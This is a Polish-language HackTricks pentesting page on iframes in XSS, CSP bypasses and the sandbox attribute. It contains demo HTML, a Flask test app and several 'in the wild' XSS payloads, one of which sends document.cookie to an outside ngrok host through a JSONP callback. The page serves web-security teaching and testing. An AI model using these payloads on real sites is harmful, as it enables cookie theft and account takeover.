hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
2024-02-11 01:46:25 +00:00

9.2 KiB

Iframes w XSS, CSP i SOP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Iframes w XSS

Istnieją 3 sposoby wskazania zawartości osadzonej strony:

  • Za pomocą src wskazującego URL (URL może być z różnych źródeł lub tego samego źródła)
  • Za pomocą src wskazującego zawartość za pomocą protokołu data:
  • Za pomocą srcdoc wskazującego zawartość

Dostęp do zmiennych rodzica i dziecka

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Jeśli uzyskasz dostęp do poprzedniego pliku HTML za pomocą serwera HTTP (np. python3 -m http.server), zauważysz, że wszystkie skrypty zostaną wykonane (ponieważ nie ma żadnej polityki CSP, która by temu zapobiegała). Rodzic nie będzie mógł uzyskać dostępu do zmiennej secret w żadnym iframe, a tylko iframy if2 i if3 (które są uważane za te same strony) mogą uzyskać dostęp do sekretu w oryginalnym oknie.
Zauważ, że if4 jest uważane za pochodzenie null.

Iframy z CSP

{% hint style="info" %} Proszę zauważ, że w poniższych bypassach odpowiedź na stronę z iframe nie zawiera nagłówka CSP, który zapobiegałby wykonaniu kodu JS. {% endhint %}

Wartość self dla script-src nie pozwoli na wykonanie kodu JS za pomocą protokołu data: ani atrybutu srcdoc.
Jednak nawet wartość none w CSP pozwoli na wykonanie iframów, które umieszczają URL (cały lub tylko ścieżkę) w atrybucie src.
Dlatego możliwe jest obejście CSP strony za pomocą:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Zauważ, że poprzednia CSP pozwala tylko na wykonanie skryptu inline.
Jednak tylko skrypty if1 i if2 zostaną wykonane, ale tylko if1 będzie mógł uzyskać dostęp do rodzica.

Dlatego możliwe jest obejście CSP, jeśli można przesłać plik JS na serwer i załadować go za pomocą iframe, nawet z script-src 'none'. Można to potencjalnie zrobić również nadużywając punktu końcowego same-site JSONP.

Możesz przetestować to przy użyciu następującego scenariusza, w którym zostaje kradziony ciasteczko nawet z script-src 'none'. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Inne ładunki znalezione w dziczy

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Zawartość wewnątrz iframe może podlegać dodatkowym ograniczeniom za pomocą atrybutu sandbox. Domyślnie ten atrybut nie jest stosowany, co oznacza brak jakichkolwiek ograniczeń.

Kiedy jest używany, atrybut sandbox narzuca kilka ograniczeń:

  • Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
  • Blokowane są próby wysyłania formularzy.
  • Wykonywanie skryptów jest zabronione.
  • Wyłączony jest dostęp do określonych interfejsów API.
  • Uniemożliwia interakcję linków z innymi kontekstami przeglądania.
  • Użycie wtyczek za pomocą tagów <embed>, <object>, <applet> lub podobnych jest niedozwolone.
  • Uniemożliwia nawigację w kontekście przeglądania najwyższego poziomu przez samą zawartość.
  • Blokowane są automatycznie uruchamiane funkcje, takie jak odtwarzanie wideo lub automatyczne ustawianie fokusu na elementach formularza.

Wartość atrybutu może być pozostawiona pusta (sandbox=""), aby zastosować wszystkie wyżej wymienione ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacją, które zwalniają iframe z pewnych ograniczeń.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes w SOP

Sprawdź następujące strony:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!